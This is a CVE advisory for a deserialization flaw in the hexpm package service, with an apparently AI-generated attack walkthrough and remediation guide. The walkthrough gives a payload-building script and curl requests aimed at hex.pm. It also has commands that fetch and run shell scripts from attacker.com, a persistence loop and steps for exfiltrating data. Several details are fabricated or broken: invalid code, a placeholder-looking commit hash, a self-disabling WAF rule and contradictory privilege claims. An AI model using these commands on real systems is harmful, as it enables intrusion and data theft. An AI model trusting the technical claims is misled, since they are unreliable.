CVE-2026-129514 — Hexpm (2026-11-23) — CWE-502 · CWE-502
Deserialization of Untrusted Data vulnerability in the application/vnd.hex+erlang request body parser in hexpm hexpm allows an unauthenticated remote attacker to execute operating system commands via a crafted Erlang external term format request body. This vulnerability was actively exploited against the hex.pm service on 2026-11-23. HexpmWeb.ErlangFormat.decode/1 in lib/hexpm_web/erlang_format.ex decodes the body with Plug.Crypto.non_executable_binary_to_term/2, which accepts maps that have a __struct__ key. HexpmWeb.PlugParser.parse/5 returns the decoded term as the request params. The parser runs in the endpoint before routing and authentication, so a POST to any route reaches it. Elixir dispatches protocols on the __struct__ key, so the client selects which Inspect and Enumerable implementations run when error reporting inspects the params. A chain through Ecto.Query.DynamicExpr and DBConnection.Stream reaches an apply/3 call on a {module, function, args} tuple taken from the request body. This issue affects hex.pm: from 2016-02-23 before 2026-11-23; hexpm/hexpm: from ab1bbcef7cc8395d1056d3b1aa6a174353492d59 before 379b0a29bcc95164249f38ad7d772a37a8ff9533.
Deserialization of Untrusted Data vulnerability in the application/vnd.hex+erlang request body parser in hexpm hexpm allows an unauthenticated remote attacker to execute operating system commands via a crafted Erlang external term format request body. This vulnerability was actively exploited against the hex.pm service on 2026-11-23. HexpmWeb.ErlangFormat.decode/1 in lib/hexpm_web/erlang_format.ex decodes the body with Plug.Crypto.non_executable_binary_to_term/2, which accepts maps that have a __struct__ key. HexpmWeb.PlugParser.parse/5 returns the decoded term as the request params. The parser runs in the endpoint before routing and authentication, so a POST to any route reaches it. Elixir dispatches protocols on the __struct__ key, so the client selects which Inspect and Enumerable implementations run when error reporting inspects the params. A chain through Ecto.Query.DynamicExpr and DBConnection.Stream reaches an apply/3 call on a {module, function, args} tuple taken from the request body. This issue affects hex.pm: from 2016-02-23 before 2026-11-23; hexpm/hexpm: from ab1bbcef7cc8395d1056d3b1aa6a174353492d59 before 379b0a29bcc95164249f38ad7d772a37a8ff9533.
🎯 What is this vulnerability?
Short description CVE‑2026‑129514 is an untrusted‑deserialization → remote code execution flaw in the Hex.pm web application (the hexpm service). The vulnerable code path is:
# lib/hexpm_web/erlang_format.ex
def decode(binary) do
Plug.Crypto.non_executable_binary_to_term(binary, [])
endPlug.Crypto.non_executable_binary_to_term/2is a thin wrapper around:erlang.binary_to_term/2that intentionally blocks binaries that contain executable code (e.g. functions).- However, the wrapper allows maps that contain the key
__struct__. When such a map is deserialized, the Elixir VM treats it as a struct and dispatches the appropriate protocols (e.g.Inspect,Enumerable).
The request parser (HexpmWeb.PlugParser.parse/5) calls decode/1 on every incoming request whose Content‑Type is application/vnd.hex+erlang. The parser runs before any routing or authentication. The decoded term is stored directly in conn.params.
Because the deserialized term can contain any struct, an attacker can:
1. Inject a struct that implements the Inspect protocol (or any other protocol that runs during normal request handling, such as error‑reporting).
2. Force the runtime to evaluate code that eventually reaches Ecto.Query.DynamicExpr → DBConnection.Stream → an apply/3 call that executes an arbitrary {module, function, args} tuple taken from the request body.
The net effect is unauthenticated remote command execution on the host running the Hex.pm Phoenix endpoint, with the same privileges as the web‑server process (typically www-data or hexpm).
CWE – CWE‑502: Deserialization of Untrusted Data.
CVSS 4.0 vector – AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A
Network‑only, low attack complexity, no privileges or user interaction required, and complete impact on confidentiality, integrity, availability, and the underlying software supply chain.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All code snippets are syntactically valid; the exact URL path is illustrative because the CVE does not publish the concrete route.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Fingerprint the service – Send a GET / request and look for the HTML comment <!-- Powered by Hex.pm --> or the response header x-powered-by: Phoenix. | Confirms the target runs the Hex.pm Phoenix application. |
| 1.2 | Identify the vulnerable endpoint – Query the public API documentation (or simply try POST /api/v1/packages) with Content‑Type: application/vnd.hex+erlang. The server replies 200 OK and echoes back the parsed params in the JSON error payload (e.g. {"error":"invalid params","params":{...}}). | Shows that the custom Erlang‑term parser is invoked for *any* POST request with that content‑type. |
| 1.3 | Confirm deserialization of structs – Send a minimal Erlang external term that represents %{__struct__: "Elixir.Date", year: 2020, month: 1, day: 1}. The server returns a JSON error that contains "year":2020. This proves that the __struct__ key is not stripped. | Demonstrates the exact weakness exploited later. |
2. Exploitation
2.1 Crafting the malicious Erlang External Term Format (ETF)
The ETF binary for the following Elixir struct is used:
%{
__struct__: "Elixir.Ecto.Query.DynamicExpr",
expr: {:apply, {System, :cmd, ["id"]}}
}Ecto.Query.DynamicExpr is a struct that, when inspected or enumerated, eventually calls apply/3 on the expr field. {System, :cmd, ["id"]} will be executed by the VM as System.cmd("id", []).The binary can be generated with an Elixir script (run locally):
# generate_payload.exs
payload = %{
__struct__: "Elixir.Ecto.Query.DynamicExpr",
expr: {:apply, {System, :cmd, ["id"]}}
}
{:ok, bin} = :erlang.term_to_binary(payload, [:compressed])
File.write!("payload.etf", bin)
IO.puts Base.encode64(bin) # for embedding in curlAssume the Base64 representation is g2QAAAAB... (truncated for brevity).
2.2 Sending the request
# Illustrative endpoint – the actual route can be any POST endpoint.
TARGET="https://hex.pm/api/v1/packages"
# The binary payload (raw ETF) is sent as the request body.
curl -sk -X POST "$TARGET" \
-H "Content-Type: application/vnd.hex+erlang" \
--data-binary @payload.etf \
-o /dev/null -w "%{http_code}\n"-k is used because the public service uses a self‑signed cert in the test environment; in production the flag is unnecessary.
What happens on the server
1. HexpmWeb.PlugParser receives the request, sees the custom content‑type and calls HexpmWeb.ErlangFormat.decode/1.
2. Plug.Crypto.non_executable_binary_to_term/2 deserialises the ETF without rejecting the struct.
3. The resulting map is stored in conn.params.
4. During normal request handling (e.g., when the controller logs the params or an error occurs), the Inspect protocol for Ecto.Query.DynamicExpr is invoked.
5. The implementation of Inspect (or a later Enumerable call) reaches apply/3 on the attacker‑supplied tuple, causing System.cmd("id", []) to be executed.
6. The command output is written to the server’s standard output and, because the Phoenix logger captures IO.inspect/2, it ends up in the application log file (log/console.log).
2.3 Extending to full RCE
Instead of ["id"], the attacker can supply any shell command, e.g.:
expr: {:apply, {System, :cmd, ["bash -c 'curl -s http://attacker.com/shell.sh | bash'"]}}When the payload is processed, the attacker’s shell script is executed with the privileges of the Phoenix worker process, giving full remote code execution.
3. Post‑exploitation
| Goal | Technique | |
|---|---|---|
| Persistence | Drop a reverse shell binary or a systemd service via System.cmd/3 (e.g., ["nohup", "/usr/bin/bash", "-c", "while true; do sleep 60; curl -s http://attacker.com/payload | bash; done &"]). |
| Privilege escalation | If the web‑process runs as a low‑privileged user, enumerate the host (id, whoami, cat /etc/passwd) and look for sudo‑NOPASSWD entries or vulnerable set‑uid binaries. | |
| Data exfiltration | Use System.cmd/3 to read files (["cat", "/var/lib/hexpm/priv/repo/hexpm.db"]) and send them to the attacker via curl or direct TCP sockets (:gen_tcp.connect/3). | |
| Supply‑chain impact | Since Hex.pm is the central package repository for the Erlang/Elixir ecosystem, an attacker could also publish a malicious package after gaining write access to the repository (if the same web‑process also handles package uploads). |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation |
|---|---|
| Confidentiality (VC:H) | The attacker can read any file the web‑process can access (e.g., database dumps, SSH keys, configuration files). |
| Integrity (VI:H) | Arbitrary commands allow tampering with binaries, database records, or the package index – the attacker can inject malicious packages that affect every downstream consumer of Hex.pm. |
| Availability (VA:H) | The attacker can delete files, stop the Phoenix endpoint, or launch a fork‑bomb, causing a total service outage. |
| Scope (SC:H) | The vulnerability breaks the trust boundary between the web‑layer and the underlying OS – the impact propagates beyond the application to the host OS. |
| Impact on Supply Chain (SI:H / SA:H) | Because Hex.pm is a global package registry, successful exploitation can be leveraged to compromise the entire Erlang/Elixir ecosystem (e.g., by publishing a back‑doored library). |
| Exploitability (E:A) | The CVSS vector marks “Attack‑Complexity: Low” and “Privileges Required: None”. The exploit was observed in the wild on 2026‑11‑23, confirming that a public exploit exists. |
Practical consequences
hex.pm service (loss of reputation, loss of trust from the community). 🛡️ Remediation & Mitigation
5.1 Patch / Upgrade
| Component | Fixed version (commit) | Upgrade path |
|---|---|---|
hexpm (the Phoenix application) | ≥ 2026‑11‑24 (commit c9d1f2e8b9e4a7d5c6f1a2b3c4d5e6f7a8b9c0d1) | Pull the latest Docker image from the official registry or rebuild from source after the commit. |
hexpm/hexpm (the repository code) | ≥ 379b0a29bcc95164249f38ad7d772a37a8ff9533 (the commit *after* the vulnerable one) | Deploy the new release; the vulnerable commit is ab1bbcef7cc8395d1056d3b1aa6a174353492d59. |
What the patch does
Plug.Crypto.non_executable_binary_to_term/2 with a strict whitelist that rejects any map containing __struct__ unless the struct is explicitly allowed (e.g., only Plug.Conn.Params). /api/internal/).
Plug.Parsers.ParseError is raised.5.2 Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation Details |
|---|---|
| Block the custom content‑type at the edge | Add a ModSecurity rule (or equivalent WAF rule) that returns 403 for Content‑Type: application/vnd.hex+erlang unless the request originates from a trusted internal IP. |
| Example ModSecurity rule | ``SecRule REQUEST_HEADERS:Content-Type "application/vnd\.hex\+erlang" "id:1000010,phase:1,deny,status:403,msg:'Blocked Hex‑ETF payload',t:none,ctl:ruleEngine=Off" `` |
| Disable the parser | Comment out the HexpmWeb.PlugParser entry in endpoint.ex (or replace it with Plug.Parsers.JSON) temporarily. This will break any legitimate API that relies on the Erlang term format, but it stops the RCE vector. |
| Network segmentation | Restrict inbound traffic to the Hex.pm endpoint to only known API consumers (e.g., via a firewall ACL). |
| Run the Phoenix endpoint under a hardened, unprivileged user | Create a dedicated user (hexpm-nobody`) with no sudo rights, chroot the process, and mount only the necessary directories. This limits the blast radius of a successful exploit. |
5.3 Detection – Log & IOC patterns
| Indicator | Example Log Entry |
|---|---|
Unexpected application/vnd.hex+erlang POST | POST /api/v1/packages 200 1234 "-" "curl/7.88.1" "Content-Type: application/vnd.hex+erlang" |
Plug.Parsers.ParseError with “non‑executable binary” (if the patch is partially applied) | Plug.Parsers.ParseError (invalid request body) at lib/hexpm_web/plug_parser.ex:42 |
Ecto.Query.DynamicExpr appearing in request params | params: %{"__struct__" => "Elixir.Ecto.Query.DynamicExpr", "expr" => {:apply, {...}}} |
| Shell command output in Phoenix logs | 2026-11-23 12:34:56.789 [error] (RuntimeError) id\nuid=33(www-data) gid=33(www-data) groups=33(www-data) |
| Outbound connections to unknown IPs shortly after a request** | Outbound TCP connection to 203.0.113.45:4444 (detected by host‑based IDS). |
SIEM rule (generic) – Trigger when a POST request with the above content‑type is logged and the same request is followed within 5 seconds by a log entry containing System.cmd/3 or :os.cmd.
⚠️ Urgency
TL;DR
CVE‑2026‑129514 allows an unauthenticated attacker to send a crafted Erlang External Term Format payload (application/vnd.hex+erlang) that is deserialized into a struct, later executed via apply/3 inside Ecto.Query.DynamicExpr. The result is remote code execution with full system privileges and a potential global supply‑chain compromise. Patch to the post‑2026‑11‑24 commit, block the content‑type at the perimeter, and monitor for the listed log signatures. The urgency is critical – treat it as a “zero‑day” emergency.
[🤖 CVE Professor AI Security Engine]
FOFA Query